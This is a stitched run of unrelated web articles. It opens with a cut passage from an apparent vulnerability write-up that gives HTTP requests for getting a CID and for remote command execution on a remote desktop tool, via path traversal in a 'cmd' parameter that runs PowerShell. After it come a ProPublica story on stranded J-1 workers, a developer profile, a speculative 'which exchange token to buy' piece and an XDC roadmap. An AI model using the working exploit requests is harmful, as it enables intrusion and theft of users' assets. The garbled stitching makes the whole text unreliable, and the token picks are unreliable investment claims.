  } If the action parameter is set to login-type, the function returns information about the victim’s device. if ( !(unsigned int)sub_140101DB0(v131, "login-type") ) 
  { 
    sub_1405ACBA0(v93); 
    v16 = "0"; 
    if ( (*(unsigned __int8 (__fastcall **)(_QWORD))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 112i64))(*(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64)) ) 
    ... 
    memset(Buffer, 0, sizeof(Buffer)); 
    sub_140150A60( 
      Buffer, 
      "{\"__code\":0,\"use_custom\":%d,\"code\":0,\"version\":\"%s\",\"isbinding\":%s,\"isinstalled\":%s,\"isprojection\"" 
      ":%s,\"platform\":\"%s\",\"mac\":\"%s\",\"request_need_pwd\":\"%s\",\"accept_request\":\"1\",\"support_file\":\"1\"" 
      ",\"disable_remote_bind\":\"%s\"} "); 
    if ( Buffer[0] ) 
    { 
      do 
        ++v6; 
      while ( Buffer[v6] ); 
      v4 = v6; 
    } 
    sub_1400F0690(Src, Buffer, v4); 
    v72 = 1; 
    CxxThrowException(&v72, (_ThrowInfo *)&stru_1412F7B30); 
  } In addition to the above, there are two other parameters: fast-login and bind-request. By examining the check route, an attacker can create malicious commands using ping or nslookup, thereby allowing them to achieve remote command execution. The getaddress route enables the retrieval of the https service address mapped to a fixed port on the extranet. This address can be easily crawled by web asset search engines or scanned by attackers, thereby expanding the attack surface beyond the intranet. Exploitation Process Upon each startup, the rpc interface randomly selects a port number greater than 40,000. The initial step is to obtain the CID of the affected user/entity. GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 
Host: 10.211.55.3:49716 
Cache-Control: max-age=0 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.9 
Connection: close Afterward, the attacker can add a CID to the authentication cookie, which looks like this: Cookie: CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS. This allows them to execute any command on the victim’s computer. GET /check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+whoami+/all HTTP/1.1 
Host: 10.211.55.3:49716 
Cache-Control: max-age=0 
Upgrade-Insecure-Requests: 1 
Cookie:CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.9 
Connection: close /check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+ipconfig Access and view the victim’s system files. Summary As web3 infrastructure continues to develop, the high value of digital assets and the invisibility of web3 infrastructure make it an attractive target for hackers. They have shifted from traditional network security to stealing data within the web3 ecosystem, including stealing users’ digital assets. Many hackers now use 0-day/1-day attacks to infiltrate target facilities such as servers, personal hosts, wallet apps, and mobile clients. Their ultimate goal is to steal users’ digital assets. To safeguard against such attacks, users are advised to keep their systems updated and patched, avoid clicking on links from unknown sources, and store their keys in isolated systems. With the Web3 landscape constantly expanding, it is imperative for projects to prioritize the safety of their users’ assets and adopt industry best practices, such as comprehensive audits and regularly scanning for weaknesses to minimize the possibility of similar attacks occurring in the future. Read more about our services . here

Crypto OpSec: How Remote Desktop Software Can Be Exploited To Drain Your Wallet

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क्रिप्टो ओपसेक: आपके बटुए को निकालने के लिए दूरस्थ डेस्कटॉप सॉफ़्टवेयर का उपयोग कैसे किया जा सकता है

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This article was originally published in by . ProPublica Bernice Yeung In the middle of March, L., a 23-year-old culinary school graduate from the Philippines, was scrambling eggs in her kitchen when her supervisor called. L. sensed trouble was coming. As part of the J-1 Exchange Visitor Program overseen by the U.S. Department of State, she had a job setting up the breakfast buffet at a luxury resort in Virginia. For weeks, as COVID-19 spread across the United States, she had noticed the guest count dropping on the white board in the kitchen. It was still a shock to be told she was being laid off. L., who spoke on the condition that she be identified by only an initial, felt the disbelief crest into panic. L. was trapped. She was ineligible for government assistance and her visa status limits her to U.S. jobs approved by her visa sponsor, which she said went silent. L., who had a few hundred dollars to her name, could no longer afford to stay in the United States. She also didn’t have the money to fly home. More than 5,000 foreigners with J-1 visas have been stranded in the U.S. since the pandemic struck, according to an estimate from the Alliance for International Exchange, which promotes cultural-exchange programs. ProPublica interviewed 13 of them, from India, Vietnam, China, the Philippines and Peru, and they described the same phenomenon as L.: They’re suddenly jobless as a result of the economy’s collapse, effectively unable to find new jobs. Many can’t afford to stay in the country — or to leave it. Critics say the plight of the stranded J-1 visa holders represents an acute version of the long-standing problems associated with a State Department program that receives little oversight and amounts to a privatized guest-worker program — one in which the worker pays to obtain a job — disguised as cultural exchange. The federal government “does not fund or administer” the J-1 program, a State Department spokesperson said. But he said the agency will “continue to offer support and assistance” by authorizing visa extensions and making sure foreigners have updated and accurate information if they choose to return home. The State Department’s hands-off approach means there is minimal instractructure to make sure J-1 workers receive meaningful assistance, even in a global crisis, said David Seligman, director of the nonprofit law firm Towards Justice who is representing Filipino J-1 workers who say they faced labor trafficking and wage and hour law violations. “The current situation exposes their vulnerabilities as they are stranded halfway across the world,” Seligman said. More than two months after losing her job, L. remains unemployed, passing her days in the apartment she has shared with four other J-1 visa holders. She can no longer afford to send support checks to her parents back home. She can no longer make payments on the $8,900 in debt that remains on what she borrowed to enter the J-1 program and come to the U.S. L., who used to work in a Japanese restaurant in the Philippines, preparing bowls of ramen noodles, now survives on vegetables, canned goods and packaged ramen from a food bank. “If only I could turn back time,” she said, “I would not come here knowing that this would happen.” Fixated with American movies, L. always dreamed of coming to the United States. But that seemed like an impossible fantasy. L. made the equivalent of $150 a month in her restaurant job in the Philippine province of Cebu. She was her family’s primary breadwinner, and most of her earnings went to rent and groceries. The constant pressure to provide for her parents made her anxious. She saw a future of hard work for not enough money. A friend told her about the J-1 program. It would give her a year of international work experience, the friend said, and an opportunity to improve her financial prospects. Living in the Philippines, which lacks work and encourages outbound migration, getting a J-1 and working in the U.S. seemed like a way to save money and gain competitive advantage. “If you have experience in other countries,” L. said, “you have advanced knowledge.” The same day, L. went to a recruitment agency to see if she qualified. The program required an investment. She would have to pay a placement fee of $5,500. From there, the recruiter would connect her with a U.S.-based visa sponsor, who would help her find a job in the culinary department at an American hotel. She would also have to pay for all of the travel to and from the United States, plus the visa and incidental costs. L. couldn’t afford anything close to what it would cost. So the recruiter connected her with a local lending company, which arranged a $10,000 loan. That was the equivalent of three years’ salary. She said she was assured that she would easily make back the placement fee — and more — once she got to the United States and started earning in dollars. But once she arrived in the U.S. in June 2019, the money L. earned didn’t add up to enough. She was paid $10 an hour and usually worked around 32 hours a week. In an average month, with occasional overtime, she took home $1,200 after taxes. She paid about $320 a month for her share of the apartment rent, spent a few hundred dollars for groceries and incidentals, and the rest went toward paying off her debt and to her family back in Cebu. “Rent, debt, and I still send money home,” L. said. “It’s the reason why I wasn’t able to save money.” The educational component of her program was also disappointing. She had visions of gaining an insider’s view of a resort’s culinary operations. Her training plan said she would learn banquet menu planning, work on four different food preparation stations in the main kitchen and learn fine-dining cooking techniques. Instead, for the first five months, L. reported for work at 3 a.m. to take croissants and pies out of cardboard boxes for reheating for the breakfast buffet. “Mostly all of the products came from a box, so I wasn’t able to see how you do it from scratch,” she said. “I wanted the privilege of learning more.” She found the early-morning shift wearing. L. has anemia, and she said the lack of sleep made her sick several times. She was eventually assigned to work the dinner shift, where she plated pre-made desserts for three months. Just before she was laid off, more than nine months into her internship, she spent several weeks on the midday shift to bake cupcakes and layer cakes. The cultural events described in the training plan included invitations to staff events such as the year-end holiday party, a winter ski trip, a spring golf outing and Fourth of July festivities complete with fireworks. None of those panned out either, L. said. Instead she joined a group of J-1 workers when they piled into a rental car to see New York City and later, a whiskey distillery. “There were so many things that I expected, like cultural exchange,” she said. “We were not able to experience that. We found ways to visit different states, but we had to spend our own money.” The J-1 visa includes some illustrious programs. It was created in 1961 by the terms of the Mutual Educational and Cultural Exchange Act. Even today, it is best known as the visa used by an elite exchange program — the Fulbright scholars — that has brought top-flight education to thousands of foreigners and Americans. But there are many other programs under the same umbrella. The J-1 visa offers foreigners to visit the U.S. for cross-cultural purposes. 14 ways The phrase “cross-cultural purposes” turns out to have a very broad definition. In the 2018 fiscal year, nearly 193,000 of the more than 340,000 people holding a J-1 visa participated in cultural exchange programs that involved some kind of low-wage job, such as working as an au pair, lifeguarding or hotel or kitchen jobs. The increase in low-level J-1 jobs dates to the mid-1990s, according to Catherine Bowman, a visiting assistant research professor at Penn State who has studied the J-1 program. That’s when the State Department loosened regulations and allowed private-sector visa sponsors to take a more active role. That change coincided with increased interest in travel to the U.S. from people in Eastern Europe and Asia. As demand for the visa increased from both U.S. employers and foreign visitors, new J-1 categories were added and the number of visas issued each year increased. Unlike the Department of Labor, which oversees various guest-worker programs, the Department of State does not require employers of J-1 visitors to pay for worker housing or travel. The placement fee, which is central to maintaining the J-1 as a self-funding program, is also forbidden in guest-worker programs overseen by the Labor Department. The Department of State also does not require employers who take on J-1 workers to conduct a market analysis to show that U.S. workers are unavailable for the positions they are seeking to fill. Nor does the agency require employers to pay J-1 workers the prevailing wage. These provisions have put it in the crosshairs of some policymakers who worry that the J-1 program takes jobs away from American workers. Donald Trump, for example, vowed to during the 2016 presidential campaign and then it early in his presidency with the Buy American and Hire American executive order, but he has not done either. eliminate the program considered limiting In the wake of the economic fallout from the pandemic, J-1 visas has come up again. (Trump Tower in Chicago also at eateries and at the reception desk prior to Trump’s election.) the notion of restricting reportedly used J-1 workers Even without a global pandemic, J-1 visitors can have a hard time finding help, said Daniel Costa of the Economic Policy Institute and co-author of a on a J-1 summer work-and-travel program for college students. 2019 report Like L., other J-1 student workers have reported that their actual work assignments don’t match what is promised in their official training plans. Sometimes they are assigned to unskilled jobs — like the kitchen work L. was doing — that is expressly by the State Department. prohibited The State Department to ensure that the J-1 program regulations are followed by employers and recruiting agencies. relies on visa sponsors Bowman, the visiting professor at Penn State, said that many sponsors rely on automated surveys to monitor participants’ experiences with the J-1 program. “It’s a recipe for neglect in the cases where the cultural sponsor doesn’t have a really high ethic when it comes to what they see as their obligations to the participants,” she said. “And it’s a bad formula for a crisis like this one.” Costa said J-1 recipients often feel ignored by the sponsors, which are neither incentivized to disrupt their business relationships with U.S. host employers nor empowered by the federal government to resolve workplace concerns. “This whole structure that is set up leaves workers completely unprotected,” said Costa, who authored one of the first on the use of the J-1 as a work program. reports in 2011 The State Department spokesperson said the agency “monitors sponsors’ programs for adherence to federal regulations, and we take very seriously any report made to us concerning the health, safety or welfare of exchange participants. We expect sponsors to manage their designated programs in a manner detailed in the federal regulations and by sound business and ethical practices.” Ilir Zherka of the Alliance for International Exchange, which promotes and lobbies for cultural exchange programs like the J-1, said that visa sponsors are concerned about the well-being of J-1 participants and that shows that the vast majority have a positive experience. research commissioned by the organization “That’s why the programs are popular and the State Department enables them, and why there is bipartisan support,” he said. But as early as 2000, the found that the agency’s “lax monitoring has created an atmosphere in which program regulations can easily be ignored and/or abused.” A 2005 report by the raised similar concerns. State Department’s inspector general Government Accountability Office Accounts of labor violations in the J-1 program began surfacing widely a decade ago. First came a 2010 exposé about participants in the J-1 summer-work-travel program who were forced to work as strippers; others earned less than $1 an hour. Associated Press Some were made to live in overcrowded apartments and eat on the floor. Then there were a series of highly publicized walkouts by hundreds of J-1 summer workers at a , and more than a dozen J-1 students at a , organized by the National Guestworker Alliance. Hershey’s factory in Palmyra, Pennsylvania McDonald’s franchise in nearby Harrisburg The State Department has since begun requiring sponsors in some programs to vet employers — though it continues to primarily rely on sponsors for quality control — and the agency prohibits work in “positions that could bring notoriety or disrepute to the Exchange Visitor Program.” The department also does a small number of . (It declined to provide statistics related to enforcement-related reviews.) on-site and compliance reviews The extent of the exploitation of J-1 students is unknown because some may feel unable to come forward, said Robyn Magalit Rodriguez, a professor of Asian American studies at the University of California, Davis. “You stay compliant between the threat of losing one’s status and also the fact that for many J-1s, they have paid exorbitant fees to recruitment agents,” Rodriguez said. “When J-1s try to articulate concerns, they have many demands because there are so many actors involved — visa sponsors, then recruitment agencies, then the two governments that helped create the conditions for migration. Who is going to take responsibility? At the end of the day, no one is taking responsibility. They are bearing it on their own.” Rodriguez has studied Filipino J-1 workers, which make up the who come to the U.S. on J-1 visas. largest number of college interns She said that the country’s colonial relationship with the United States, coupled with its labor export policies, has made the J-1 program a popular vehicle for Filipino migrants like L. “For many, they have no idea that this is very much a false hope,” she said. “The investment they think they are putting toward their futures is actually feeding into a highly exploitative system.” The 13 J-1 students ProPublica spoke with say they’re caught in a vise: Out of work, dependent on their sponsor for any work opportunities, running short of cash or facing logistical barriers to returning home during the pandemic. Humanitarian flights sponsored by their governments are expensive and have long waitlists. Commercial flights, when available, are too costly. Some countries’ borders have closed in the wake of the pandemic. (Many students insisted on anonymity, which made it impossible to discuss their accounts with their employers and sponsors.) But remaining in the U.S. has created financial strains. Some J-1 recipients told ProPublica they are having difficulty covering the cost of rent, utilities and groceries; others are able to draw on savings or family resources. The response from their visa sponsors has run the gamut. A group of Filipino interns in Florida said that a representative of their visa sponsor drives an hour to check in on them each week. The Alliance for International Exchange said it had been for J-1 students, and sponsors have chartered planes, provided travel reimbursements and helped J-1 participants find temporary housing. coordinating donations and repatriation efforts Most of the J-1 recipients contacted by ProPublica, however, said their visa sponsors had urged them via email to return home but had offered little practical or financial assistance. “Some of the sponsors are essentially trying to wash their hands of these students, saying your program is over and you should go home,” said Meredith Stewart, a senior supervising attorney with the Southern Poverty Law Center. “For students who paid thousands of dollars to a sponsor for the purpose of supporting them in challenging situations like this one, I think it’s immoral.” A hospitality student from Hanoi, Vietnam said he was able to work in an Arizona resort only a month before he was laid off because of the pandemic. His visa sponsor sent him an email instructing him to leave the country within 30 days. He asked for a partial refund of the $4,500 placement fee so he could afford a plane ticket home. The sponsor didn’t respond, he said. “It is really unfair that when we do the interview with the sponsor, they said that if anything happens in the U.S., don’t hesitate to contact us,” he said. In this instance, it all worked out: The hotel re-opened in late May and gave him his job back. L. said she has also received frequent emails from her visa sponsor (which she shared with ProPublica) with recommendations for flights home. She has written to them to ask what she should do if she doesn’t have funds to buy the ticket. She said she has not received a response. J-1 workers have turned to GoFundMe and to make pleas for assistance. Community organizations like the and have gathered food donations and helped interns negotiate with landlords on reduced or delayed rent payments. Facebook National Alliance for Filipino Concerns North American Association of Indian Students The J-1 participants contacted by ProPublica said they paid between $3,000 and $6,600 each in placement fees. For some, it’s a major reason they’re unable to quickly return home — and it creates a seemingly impossible calculus as they sort out when and whether to cut their losses. Another intern from Vietnam arrived in January with $10,000 in debt to start an internship at a hotel in Missouri. He has a wife and two young children in Ho Chi Minh City, and he planned to send them as much of his earnings as he could. But after a month on the job, he was laid off. The hotel provided him and other workers with food for a couple of weeks, he said, but now he’s on his own. He has quietly sought help from a few friends in the U.S. and Vietnam, but he hasn’t told his family about his predicament. “They cannot help me, but they feel worried about me, so I don’t want to tell them,” the intern said. “It doesn’t help. I have to resolve it for myself.” He doesn’t have money for a plane ticket, the intern said, but he also can’t think about going home because of his debts. So he scraped bus fare together and went to live with friends in Philadelphia for a while. He checks in regularly with the hotel to see if they will give him his job back. “I decided to stay here and wait for the sun to shine tomorrow,” he said. Other J-1s have also fended for themselves, in some instances managing to make it back home. L. finds herself in a similar situation. She had planned to start putting money aside for her return trip in the final months of her program but then she was laid off. Instead, she’s stuck in Virginia with no income, fretting about her compounding debt. L’s landlord has taken pity on her and her roommates and has cut the rent in half. She finds herself vacillating between finding a way home — maybe by borrowing from her brother, who has his own family to support and is cash-strapped — to sticking things out in Virginia until her visa expires at the end of July. There’s always a chance, however slight, that she can get a new job to earn a few more dollars. “I’m torn between the two,” she said. “I want to go home. But if I go back, how am I going to pay?” Photo by on Kilyan Sockalingum Unsplash

Trapped Under a Rubble of Debt and Stuck in a Foreign Country

ঋণের ধ্বংসস্তূপের নিচে আটকা পড়ে বিদেশের মাটিতে আটকা পড়ে

Gefangen unter einem Schutt aus Schulden und festsitzend in einem fremden Land

Atrapado bajo los escombros de la deuda y atrapado en un país extranjero

Pris au piège sous les décombres de la dette et coincé dans un pays étranger

क़र्ज़ के मलबे में फँसा और एक विदेशी देश में फँसा

瓦礫の借金に閉じ込められ、異国で立ち往生

빚더미에 갇혀 외국에 갇히다

Preso sob os escombros da dívida e preso em um país estrangeiro

Borç Enkazı Altında ve Yabancı Bir Ülkede Mahsur Kaldık

Bị mắc kẹt dưới đống nợ nần và mắc kẹt ở nước ngoài

被困在债务的废墟下，困在异国他乡

Although there are a few altcoins that have caught some attention in the media and have seen peaks of significant investment, there is no denying that Bitcoin dominates the industry by a landslide. According to , 36% of all US crypto owners have Bitcoin in their wallets. Influencer Marketing Hub Furthermore, the overall value of the currency has climbed from just $500 in 2016 to a whopping $17,000 per coin in 2022, which speaks to its incredible capacity for exponential growth. For software developer, Nikita Chashchinskii, Bitcoin, as the leading digital currency, has the potential to become a stable foundation for a market that has seen far too much volatility within the last few years. While many people are still naive and overwhelmed by this new sector of the financial market, Nikita is a part of a forward-thinking team spearheading the technology. The project is being developed with Drivechain and is positioned to make the world of cryptocurrency more transparent, and more secure at the same time. The Makings of a Blockchain Software Development Expert From a very young age, Chashchinskii was enthralled by science fiction and imagined himself as a protagonist in the novels that he would read, using technology to solve problems and make the world a better place. Video games allowed him to indulge in those fantasies and also presented a potential career path for his future. He was eager to learn, as his interest in software development grew, and he spent many hours of his childhood reading books about basic programming language and mathematical systems used in game design. By the time he was in secondary school, Nikita was experimenting with simple game design to begin putting the acquired knowledge into practice. At the same time, he continued to expand his studies and moved beyond basic C++ to learn more complex and professional programming languages like Rust, Haskell, and Python. Highly motivated and eager to jump into the industry, he even contributed to an open-source game engine through his last year of high school and the first year of college. Chashchinskii continued to do some freelance work during his college years. Then, while in his final year of his bachelor’s program, he came across an exciting opportunity to participate in an international competition where contestants were required to build Zcash sidechain software, to help enable privacy with Bitcoin, for the Drivechain project. He was familiar with the project and was enticed by its potential to create a distributed prediction market for cryptocurrency. Although he was very busy juggling school and a day job as a full-stack engineer, he used any free time he could find to work on the task and, in the end, was the only competitor who developed a functional solution. Hitting the Nail on the Head With Drivechain Nikita clearly had an affinity for Drivechain development and, as a result, he was brought onto the team to continue working on the project. After completing his bachelor’s program, he was accepted into a master’s program in software engineering. He pursued his studies, worked his day job, and continued to build more prototypes of the Zcash sidechain in his spare time. By the end of 2021, he let go of his job to focus on his studies and Drivechain-related work – which was particularly important, as he had received an offer for full-time employment on the project for after graduation. Unfortunately, Chashchinskii did not have the chance to complete his master’s degree due to the volatile circumstances in Russia. After leaving the country and relocating to Istanbul, he had much more time on his hands which he spent mostly on the development of  Drivechain, and during that time, Nikita really found his stride. Most significantly, he built a software library that makes it much easier to build sidechains of altcoins – enabling their unique features – within the Bitcoin framework. Nikita explains that “Right now, adopting new technology in the cryptocurrency world is usually accompanied by creating a new 'token' or 'monetary unit', fragmenting the network, making the cryptocurrency industry something lesser than the sum of its parts, creating internal conflict, and legitimizing ponzi schemes and other con-artist [techniques].” In contrast, the two-way-pegged Bitcoin sidechains that he is developing have the potential to unite the entire cryptocurrency industry. By enabling the adoption of a variety of new technologies, without creating any new monetary units, BTC could easily be moved from one technological platform to another. Furthermore, it could do so at a 1-to-1 exchange rate. This would allow individual users to independently make decisions about the risks and features that they want to explore, without affecting the foundation of the currency at all. As this project gains momentum, it is likely going to lead to Bitcoin absorbing the market share of all useful altcoins by converting them into sidechains. Chashchinskii has already built solid sidechain versions of both Zcash and Ethereum, and his innovative work has been featured in Bitcoin Magazine. He is very excited about this unification, as it will lead to a more trustworthy and predictable market. Currently, the hope of hitting it big with a new monetary unit is exactly the type of promise that schemers use to target investors, especially those who are inexperienced and easy to take advantage of. Of course, the project not only benefits the users within their massive network, but it is also a huge level-up for Bitcoin. Until now, Bitcoin has not been able to explore new technologies without bringing risk to its entire community, as well as to its own foundational software. With sidechains, they create an avenue for freedom and flexibility while protecting their core technology. The Drivechain project, created by , aims to improve Bitcoin to the point where all the other digital currencies become obsolete. LayerTwo Labs To achieve this, the cryptocurrency must combine privacy, scale, and versatility. It also has to function in every use case and include a more intuitive UX. LayerTwo Labs was founded by veterans of the cryptocurrency industry, and Nikita’s unique skills and aligned goals made him a perfect addition to the team. In conclusion, Nikita says “With Drivechain it is possible to copy any altcoin’s technology 1-to-1, creating a sidechain that is strictly superior to the copied altcoin, because it has the exact same features, as well as Bitcoin’s greater network effect… Drivechain [also] enables distributed censorship resistant prediction markets on Bitcoin, [which] would let us direct the predictive power of financial speculation towards forecasting the future – as well as potentially enabling other applications like financial derivatives, insurance, funding public goods, and governance.]”

Nikita Chashchinskii Is Unifying the Cryptocurrency Industry
With Drivechain

Exchange tokens have been around for at least four years but 2021 was the year they made an indelible mark in the crypto market and that is thanks to BNB. The exchange token of Binance, the world’s largest crypto exchange, saw an incredulous run that saw it fly from around $40 in January of 2021 to over $650 by April. That run pushed the token into the 10 most valuable cryptocurrencies and also gave the Binance Smart Chain an enormous amount of exposure and popularity. BNB currently sells at around $390, about half the price from its all-time high and with a market capitalization of over making it the fourth most valuable cryptocurrency after Bitcoin, Ethereum, and Tether. 69 billion dollars If you missed BNB, there are other exchange tokens with a low Mcap and high potentials that are worth looking at. What are Exchange Tokens? The term “exchange tokens” is used to describe crypto tokens that are created by crypto exchanges. It is a digital asset that is native to a cryptocurrency exchange. There are a number of reasons why an exchange might decide to create a token and some of these tokens are sometimes distributed to users as airdrops. Most exchanges however create these tokens specifically to increase the liquidity of the exchange. In other cases, it is used to create incentives for users as well as for governance purposes. The concept of exchange tokens was first introduced by Binance in 2017 before long Kucoin followed with their KCS and since then almost every exchange has launched its own token. Without much ado let’s look at some exchange tokens that are worth throwing your $$ at. FTT (FTX token) FTT is the native token of the . Founded in 2019 by Sam Bankman-Fried, FTX is one of the largest centralized crypto exchanges in the world. It is especially popular among Futures traders. FTT is the backbone of the FTX ecosystem. The team has carefully designed the incentive schemes to increase network effects, demand for FTT, and decrease its circulating supply. FTX Exchange Some of these schemes include burning FTT used to pay for transaction fees and charging lower transaction fees to users who hold FTT for a certain period of time. The token has a maximum supply of 352 million and a market cap of 4 billion which leaves modest room for growth. A 10X run would bring the Market cap to around 40 billion, half the market cap of BNB. Huobi Token Huobi Token, or HT, is the native token of the , one of the largest crypto exchanges in Asia. The token was created on the Ethereum blockchain and is decentralized. It is a blockchain-powered loyalty point system that supports Huobi Global business and all related products, such as VIP discounts, HT exclusive events, as well as trading against popular coins. The coin currently sells for around $7 and has an Mcap of $1.1B. Huobi recently shut down operations in China due to a government crackdown on cryptocurrencies but has since unveiled plans to continue its operations from friendlier climes. Huobi exchange KCS I probably shouldn’t say this but this is my favorite. KCS is the native token of an exchange that is fondly called, ‘the home of gems’. Kucoin is one exchange that is rarely in the news for the wrong reasons and its exchange token has slowly crept into the top 100 cryptocurrencies by market cap. Kucoin, The token currently sells for around $20 but with a market cap that is still below 2 billion dollars, there is still enormous room for growth. KuCoin Token (KCS) is the key to the entire KuCoin ecosystem (KCC). It’s also the native asset on KuCoin’s decentralized financial services as well as the governance token of the KuCoin community. Recently Kucoin began allowing users to stake KCS so as to be eligible for IEOs. A fork of Binance’s BNB Launchpad. The token is still very much undervalued. OKT OKT, the native token of the is one of the newest entrants to the exchange token markets. OKT is the token powering the Okex chain and as such it provides users with immediate utility and benefits such as staking privileges and voting rights. OKExChain ecosystem The token is also employed to pay for transaction fees on decentralized exchanges and other DeFi applications built on the network. The token currently sells for $16 and has a sizeable Mcap of about $4B. It’s one exchange token that has seen a lot of growth in 2021 and seems primed for more growth in the coming months. UNISWAP Let’s not focus entirely on centralized exchange tokens, some decentralized exchanges have tokens as well. is perhaps the most successful decentralized application in crypto. Sure, the gas fees are a turn-off but there is no denying the massive impact the DEX has had on crypto. Built on Ethereum, Uniswap is the most valuable DEX in the world and its native token is UNI. The token has an Mcap of . It’s still far from its ATH of $43 which it attained in April. Uniswap $6B and currently sells for around $10 Cake Cake is the native token of Pancakeswap, a Uniswap fork on the Binance Smart Chain. Pancakeswap is the most popular and most widely used DAPP in the BSC ecosystem due to its low gas fees and an array of coins on offer. The DEX is widely popular among developers of meme coins and the price of Cake spiked in early 2021 during the meme coin season that saw the creation of new tokens almost every hour. The token currently sells for $7 and has a modest market cap below $1.3B. CRO CRO is the native token of Crypto.com and serves as both the flagship token and the ecosystem that revolves around the exchange. Crypto.com was founded in Hong Kong in 2016 and has since grown to be one of the most popular exchanges for Bitcoin and Ethereum. The exchange only recently , one of the largest football clubs in Europe worth $30M. The deal would see CRO pay PSG a substantial amount of that money using their native token, CRO. signed sponsorship agreements with PSG The exchange has other sponsorship deals with Serie A and Formula 1 teams. These deals will give the exchange and its native token more exposure and likely lead to a significant price bump in the future. Other exchange tokens worth of mention are GT, the native token of Gate, and MXC, the native token of MEXC exchange.

Exchange Tokens That Could Be The Next $BNB: $FTT Vs. $KCS Vs. $OKT Vs. $CAKE Vs. $UNI Vs. $CRO

Background backed by institutional adoption has confirmed the appetite for . Today, Bitcoin is positioned as a and this liquidity, mining, and adoption are managed in a fairly decentralized manner by its community members. Bitcoin’s phenomenal rise digital assets by mainstream markets and investors scarce digital asset with very high liquidity, and Xinfin’s focus is for for institutions which include . Payment obligations can also be recorded for the employer to employee transactions which can potentially create opportunities for payday loans, mortgage origination, and auto loans on the XDC Network. XDC is positioned to connect real-world finance origination to DeFi markets XDC to be a de-facto standard for recording payment obligations buyers, suppliers, governments, and banks which are essentially payment obligations. Currently, this space is empty and there is no platform that focuses on this particular feature. Enabling this creates a massive opportunity to run . Governments raise billions through bonds DeFi backed by real-world assets on top of the XDC network so that liquidity can reach . XDC is positioned to absorb such liquidity and distribute it via originators that connect to TradeFinex on the . Central banks pour liquidity into financial markets MSMEs at the grassroots level XDC Network We are expecting a third-party developer to deliver payment obligations on the XDC network which will be used by the . There are ongoing discussions with regulated financial institutions ( ) to bring their payment obligations for instruments such as onto the XDC Network. initial 2 integrations, Validus and Funding Societies Know More letters of credits, invoices, and receivables While the Core Team is focused on the adoption of XDC and the network, it’s clear that in order for us to operate as a Decentralized Autonomous Organization, the participation of the XDC community is needed to achieve the following objectives: XDC Integrations across hardware and software wallets, and the addition of more digital asset custodians and crypto exchanges.Provide XDC liquidity to support trade finance liquidity.Increase XDC adoption through marketing efforts that build awareness about the XDC Network’s protocol and benefits. We are happy to share this roadmap with our core community members so that we can collectively grow the XDC Network into a market leader in 2021. 1. Build a robust support infrastructure for the XDC Mainnet Chain with new wallet integrations a) Hardware and Software Wallets Ledger is done, we are awaiting security approvals and upgrade into their firmware in order to be fully supported on Ledger. D’CENT Wallet: Support and integration of XDC has been announced by Trezor (integration is ongoing) Wallet connect (Live): Freewallet : (Integration is ongoing) Safepal.io: Safepal.io has announced that they will keep XDC . Exodus, Trust Wallet, Coinswitch: Discussion Phase. XDC needs to meet their required criteria for Coinmarketcap rank, technical integration, fees, etc. XDC community members can participate and claim up to a 140% bounty visit: . code integration D’CENT https://walletconnect.org/apps/ Integration on their 2021 roadmap https://www.xinfin.org/bounty b) Digital Asset Custodians Copper.co — Established Onchain custodian — Support is scheduled to start in Q1 of 2021 Hex Trust — In negotiations as of Q1 2021Anchorage (backed by Visa) Other wallets: XDC community members can participate and claim up to 140% bounty visit the link: XDC community members can add support to other established digital custodian and claim up to 140% of XDC as bounty by submitting integration details at (Fill-in the form provided under pre-approved XDC Bounty) https://www.xinfin.org/bounty https://www.xinfin.org/bounty Discussions are in progress and we are awaiting for XDC community members to push them to get quick integration. Up to 140% in XDC Bounty is available for the actual cost borne by XDC community members visit: c) OpenLaw Integration: https://www.xinfin.org/bounty Cordite Society has been engaged by Xinfin to run third-party Corda Network nodes for XinFin and provide interoperability among the Corda and XinFin networks. d) R3 Cordite Integration: Integration is in progress and should be completed by Jan 2021. has already been released by the ExcelTrip team. e) ExcelTrip Travel Portal XDC Integration: An announcement Fork repositories like and provide options to use multisig facility on the XDC Network. Up to 140% in XDC Bounty is available for the actual cost borne by XDC community members visit: f) MultiSig Wallet Facility: https://gnosis-safe.io/ https://www.xinfin.org/bounty 2. Drive rapid adoption of XDC with DApps currently running on the XDC Network a) TradeFinex Currently, live with SGD. $50,000 worth of staking coming from XDC directly ported to Validus. Integration with more originators. Scaling up Liquidity Pools on TradeFinexIntegration with exchanges and custodians who can offer yields to their own stakers Payment obligation and smart contract utilization of XDC https://forum.makerdao.com/t/tokenized-yield-generating-trade-finance-assets-as-maker-collaterals/1645/11?u=atulkhekade Know More b) Globiance Boost adoption of SGDg, EURg Target: Scale-up issuance of SGDg and EURgScale-up the daily volume of SGDg and EURg c) Blockdegree Development of partnerships with institutions to cross-sell education with a 50% profit share.Blockdegree courses will be accredited by Singapore skills future (Please visit ) Blockdgree.org d) Mycontract Develop enterprise connectivity to blockchain and crypto-asset ecosystems Drive the development of Dapps on XDC Network with funding and bounty programs for 3rd party developers who can claim up to 140% of their costs borne in XDC as bounty by submitting details. (Fill-in the form provided under pre-approved XDC Bounty) 3. Exchange Listings a) Tier 1 Exchange Listing (In Legal clearance) Non-US Customers (Phase 1)US Customers - FIAT pairs (Phase 2) b) Tier 1 Exchange Listing (Proposal Received) Non-japan customers (Phase 1)Japan customers - Fiat Pairs (Phase 2) c) Tier 1 exchange listing (Proposed) 